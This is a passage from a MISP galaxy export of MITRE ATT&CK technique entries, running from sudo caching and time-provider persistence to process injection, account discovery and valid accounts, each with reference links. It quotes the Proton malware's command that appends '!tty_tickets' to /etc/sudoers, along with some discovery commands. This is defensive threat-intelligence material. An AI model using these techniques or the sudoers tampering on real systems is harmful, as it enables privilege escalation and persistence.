The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments." (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

Adversaries can abuse poor configurations of this to escalate privileges without needing the user’s password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user’s password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

The OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.

The tag is: misp-galaxy:mitre-attack-pattern="Sudo Caching - T1206"

Table 2551. Table References
Links
https://attack.mitre.org/techniques/T1206
https://www.sudo.ws/
https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does

Time Providers - T1209

The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)

Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)

Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Time Providers - T1209"

Table 2552. Table References
Links
https://attack.mitre.org/techniques/T1209
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
https://github.com/scottlundgren/w32time
https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
https://technet.microsoft.com/en-us/sysinternals/bb963902

Scheduled Transfer - T1029

Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.

The tag is: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"

Table 2553. Table References
Links
https://attack.mitre.org/techniques/T1029

Shadow DNS - T1340

The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)

The tag is: misp-galaxy:mitre-attack-pattern="Shadow DNS - T1340"

Table 2554. Table References
Links
https://attack.mitre.org/techniques/T1340

Path Interception - T1034

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of [cmd](https://attack.mitre.org/software/S0106) in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\unsafe path with space\program.exe</code> vs. <code>"C:\safe path with space\program.exe"</code>). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\program files\myapp.exe</code>, an adversary may create a program at <code>C:\program.exe</code> that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\system32</code> (e.g., <code>C:\Windows\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if <code>C:\example path</code> precedes <code>C:\Windows\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\example path</code> will be called instead of the Windows system "net" when "net" is executed from the command-line.

Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).

The tag is: misp-galaxy:mitre-attack-pattern="Path Interception - T1034"

Table 2555. Table References
Links
https://attack.mitre.org/techniques/T1034
https://capec.mitre.org/data/definitions/159.html
https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
http://support.microsoft.com/KB/103000
https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
http://msdn.microsoft.com/en-us/library/ms682425
http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
http://msdn.microsoft.com/en-us/library/ms687393
https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx

Location Tracking - T1430

An adversary could use a malicious or exploited application to surreptitiously track the device’s physical location through use of standard operating system APIs.

The tag is: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"

Table 2556. Table References
Links
https://attack.mitre.org/techniques/T1430
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html

Service Execution - T1035

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.

The tag is: misp-galaxy:mitre-attack-pattern="Service Execution - T1035"

Table 2557. Table References
Links
https://attack.mitre.org/techniques/T1035

Scheduled Task - T1053

Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)

An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.

The tag is: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053"

Table 2558. Table References
Links
https://attack.mitre.org/techniques/T1053
https://capec.mitre.org/data/definitions/557.html
https://technet.microsoft.com/en-us/library/cc785125.aspx
https://twitter.com/leoloobeek/status/939248813465853953
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
https://technet.microsoft.com/library/dd315590.aspx
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
https://technet.microsoft.com/en-us/sysinternals/bb963902

Anonymity services - T1306

Anonymity services reduce the amount of information available that can be used to track an adversary’s activities. Multiple options are available to hide activity, limit tracking, and increase anonymity. (Citation: TOR Design) (Citation: Stratfor2012)

The tag is: misp-galaxy:mitre-attack-pattern="Anonymity services - T1306"

Table 2559. Table References
Links
https://attack.mitre.org/techniques/T1306

Logon Scripts - T1037

Windows

Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.

If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

Mac

Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.

The tag is: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037"

Table 2560. Table References
Links
https://attack.mitre.org/techniques/T1037
https://capec.mitre.org/data/definitions/564.html
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
https://support.apple.com/de-at/HT2420

Process Hollowing - T1093

Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)

The tag is: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093"

Table 2561. Table References
Links
https://attack.mitre.org/techniques/T1093
http://www.autosectools.com/process-hollowing.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Obfuscate infrastructure - T1309

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)

The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"

Obfuscate infrastructure - T1309 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331" with estimative-language:likelihood-probability="almost-certain"

Table 2562. Table References
Links
https://attack.mitre.org/techniques/T1309

Indicator Blocking - T1054

An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).

ETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.

In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054"

Table 2563. Table References
Links
https://attack.mitre.org/techniques/T1054
https://capec.mitre.org/data/definitions/571.html
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events
https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63

PowerShell Profile - T1504

Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)

The tag is: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504"

Table 2564. Table References
Links
https://attack.mitre.org/techniques/T1504
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf

Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Software Packing - T1045"

Table 2565. Table References
Links
https://attack.mitre.org/techniques/T1045
https://capec.mitre.org/data/definitions/570.html
http://en.wikipedia.org/wiki/Executable_compression
https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf

Biometric Spoofing - T1460

An adversary could attempt to spoof a mobile device’s biometric authentication mechanism, for example by providing a fake fingerprint as described by SRLabs in (Citation: SRLabs-Fingerprint).

iOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID).

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Biometric Spoofing - T1460"

Biometric Spoofing - T1460 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461" with estimative-language:likelihood-probability="almost-certain"

Table 2566. Table References
Links
https://attack.mitre.org/techniques/T1460

Data Staged - T1074

Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).

Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.

The tag is: misp-galaxy:mitre-attack-pattern="Data Staged - T1074"

Table 2567. Table References
Links
https://attack.mitre.org/techniques/T1074

Execution Guardrails - T1480

Execution guardrails constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target.

Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.

Environmental keying is one type of guardrail that includes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).

Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use guardrails and environmental keying to help protect their TTPs and evade detection. For example, environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) In general, guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) where a decision can be made not to further engage because the value conditions specified by the adversary are meant to be target specific and not such that they could occur in any environment.

The tag is: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480"

Table 2568. Table References
Links
https://attack.mitre.org/techniques/T1480
https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/
https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices
https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/
https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf
https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js

Process Injection - T1055

Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

Windows

There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)

Dynamic-link library (DLL) injection involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
Portable executable injection involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)
Thread execution hijacking involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.
Asynchronous Procedure Call (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process’s thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)
Thread Local Storage (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code’s legitimate entry point. (Citation: FireEye TLS Nov 2017)

Mac and Linux

Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)

LD_PRELOAD, LD_LIBRARY_PATH (Linux), DYLD_INSERT_LIBRARIES (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
Ptrace system calls can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)
/proc/[pid]/mem provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)
VDSO hijacking performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)

Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

The tag is: misp-galaxy:mitre-attack-pattern="Process Injection - T1055"

Table 2569. Table References
Links
https://attack.mitre.org/techniques/T1055
https://capec.mitre.org/data/definitions/640.html
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.endgame.com/blog/technical-blog/hunting-memory
https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
https://www.datawire.io/code-injection-on-linux-and-macos/
http://hick.org/code/skape/papers/needle.txt
http://phrack.org/issues/51/8.html
http://vxer.org/lib/vrn00.html
https://www.gnu.org/software/acct/
https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://github.com/mattifestation/PowerSploit

Input Capture - T1056

Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)

Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.

Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)

The tag is: misp-galaxy:mitre-attack-pattern="Input Capture - T1056"

Table 2570. Table References
Links
https://attack.mitre.org/techniques/T1056
https://capec.mitre.org/data/definitions/568.html
http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Windows

An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility.

Mac and Linux

In Mac and Linux, this is accomplished with the <code>ps</code> command.

The tag is: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057"

Table 2571. Table References
Links
https://attack.mitre.org/techniques/T1057
https://capec.mitre.org/data/definitions/573.html

Account Discovery - T1087

Adversaries may attempt to get a listing of local system or domain accounts.

Windows

Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply.

Mac

On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.

Linux

On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.

Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands.

Office 365 and Azure AD

With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance)

Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)

The <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)

The tag is: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087"

Table 2572. Table References
Links
https://attack.mitre.org/techniques/T1087
https://capec.mitre.org/data/definitions/575.html
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
https://github.com/True-Demon/raindance
https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist
https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/

Valid Accounts - T1078

Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access.

Accounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.

Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

Default accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)

The overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)

The tag is: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"

Table 2573. Table References
Links
https://attack.mitre.org/techniques/T1078
https://capec.mitre.org/data/definitions/560.html
https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://technet.microsoft.com/en-us/library/dn487457.aspx

Multilayer Encryption - T1079

An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.

The tag is: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079"

Table 2574. Table References
Links
https://attack.mitre.org/techniques/T1079
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Account Manipulation - T1098

Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.

Exchange Email Account Takeover

